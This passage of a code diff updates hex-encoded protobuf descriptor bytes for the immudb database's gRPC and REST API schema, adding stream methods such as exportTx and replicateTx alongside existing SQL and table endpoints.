0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, + 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, + 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, + 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, + 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, - 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, + 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, - 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, - 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, - 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, - 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, - 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, - 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, - 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, - 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, - 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, - 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, - 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, - 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, - 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, - 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, - 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, - 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, - 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, + 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, + 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, + 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, + 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, + 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, + 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, + 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x66, 